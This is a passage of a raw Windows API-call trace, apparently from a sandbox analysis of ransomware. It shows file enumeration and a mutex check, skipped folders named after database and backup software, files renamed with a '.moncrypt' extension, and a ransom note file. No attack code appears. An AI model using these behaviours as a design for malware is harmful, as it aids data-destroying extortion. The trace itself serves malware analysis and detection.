ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0054.808] GetLastError () returned 0x12 [0054.808] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.809] GlobalLock (hMem=0x440004) returned 0x550170 [0054.809] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.809] GlobalUnlock (hMem=0x440004) returned 0 [0054.809] GlobalLock (hMem=0x440004) returned 0x550170 [0054.809] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.809] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.809] GlobalUnlock (hMem=0x440004) returned 0 [0054.809] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.809] GlobalUnlock (hMem=0x44000c) returned 0 [0054.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d78, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0054.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41dc36e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41dc36e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.809] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.809] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.809] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.809] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.809] GlobalUnlock (hMem=0x44000c) returned 0 [0054.809] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.809] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.809] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.809] GlobalUnlock (hMem=0x44000c) returned 0 [0054.809] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.809] GlobalUnlock (hMem=0x440004) returned 0 [0054.809] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.809] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41dc36e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41dc36e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.810] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.810] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.810] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.810] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.810] GlobalUnlock (hMem=0x440004) returned 0 [0054.810] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.810] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.810] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.810] GlobalUnlock (hMem=0x440004) returned 0 [0054.810] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.810] GlobalUnlock (hMem=0x44000c) returned 0 [0054.810] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.810] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dc36e0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41dc36e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41dc36e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.810] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.810] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.810] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.810] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.810] GlobalUnlock (hMem=0x44000c) returned 0 [0054.810] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.810] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.810] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.810] GlobalUnlock (hMem=0x44000c) returned 0 [0054.810] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.810] GlobalUnlock (hMem=0x440004) returned 0 [0054.810] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.810] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x1950dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS.moncrypt", cAlternateFileName="MSB1AR~1.MON")) returned 1 [0054.810] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.810] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.811] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.811] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.811] GlobalUnlock (hMem=0x440004) returned 0 [0054.811] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.811] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.811] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.811] GlobalUnlock (hMem=0x440004) returned 0 [0054.811] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.811] GlobalUnlock (hMem=0x44000c) returned 0 [0054.811] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.811] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x1950dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS.moncrypt", cAlternateFileName="MSB1AR~1.MON")) returned 0 [0054.811] GetLastError () returned 0x12 [0054.811] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.811] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0054.811] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.811] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.811] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.811] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.811] GlobalUnlock (hMem=0x44000c) returned 0 [0054.812] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.812] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.812] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.812] GlobalUnlock (hMem=0x44000c) returned 0 [0054.812] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.812] GlobalUnlock (hMem=0x440004) returned 0 [0054.812] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.812] GlobalLock (hMem=0x440004) returned 0x550170 [0054.812] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.812] GlobalUnlock (hMem=0x440004) returned 0 [0054.812] GlobalLock (hMem=0x440004) returned 0x550170 [0054.812] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.812] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.812] GlobalUnlock (hMem=0x440004) returned 0 [0054.812] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.812] GlobalUnlock (hMem=0x44000c) returned 0 [0054.812] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.812] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES") returned 1 [0054.812] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.812] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.812] GlobalUnlock (hMem=0x44000c) returned 0 [0054.812] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.812] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.812] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.812] GlobalUnlock (hMem=0x44000c) returned 0 [0054.813] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.813] GlobalUnlock (hMem=0x440004) returned 0 [0054.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0054.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@숊R쇞R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.818] GetLastError () returned 0x3 [0054.818] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.818] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.818] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0054.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@셤R企@\x18㿬Q\x181")) returned 0xffffffff [0054.819] GetLastError () returned 0x2 [0054.819] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.819] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.819] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@婴U企@\x18?T\x18;")) returned 0xffffffff [0054.819] GetLastError () returned 0x2 [0054.819] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.819] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@삌R企@\x18?T\x18D")) returned 0xffffffff [0054.820] GetLastError () returned 0x2 [0054.820] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@셤R企@\x18婴U\x18j")) returned 0xffffffff [0054.845] GetLastError () returned 0x2 [0054.845] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@삌R企@\x18?T\x18q")) returned 0xffffffff [0054.845] GetLastError () returned 0x2 [0054.845] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\婰UP") returned 6 [0054.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.846] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@몤R企@\x18?T\x18y")) returned 0xffffffff [0054.846] GetLastError () returned 0x2 [0054.846] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.846] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@셤R企@\x18?T\x18\x81")) returned 0xffffffff [0054.846] GetLastError () returned 0x2 [0054.846] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.847] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@삌R企@\x18?T\x18\x88")) returned 0xffffffff [0054.847] GetLastError () returned 0x2 [0054.847] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.847] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.847] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@몤R企@\x18?T\x18\x8f")) returned 0xffffffff [0054.847] GetLastError () returned 0x2 [0054.847] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.847] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.847] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.848] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a690, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@셤R企@\x18?T\x18\x97")) returned 0xffffffff [0054.848] GetLastError () returned 0x2 [0054.848] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.848] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.848] GlobalLock (hMem=0x440004) returned 0x550170 [0054.848] 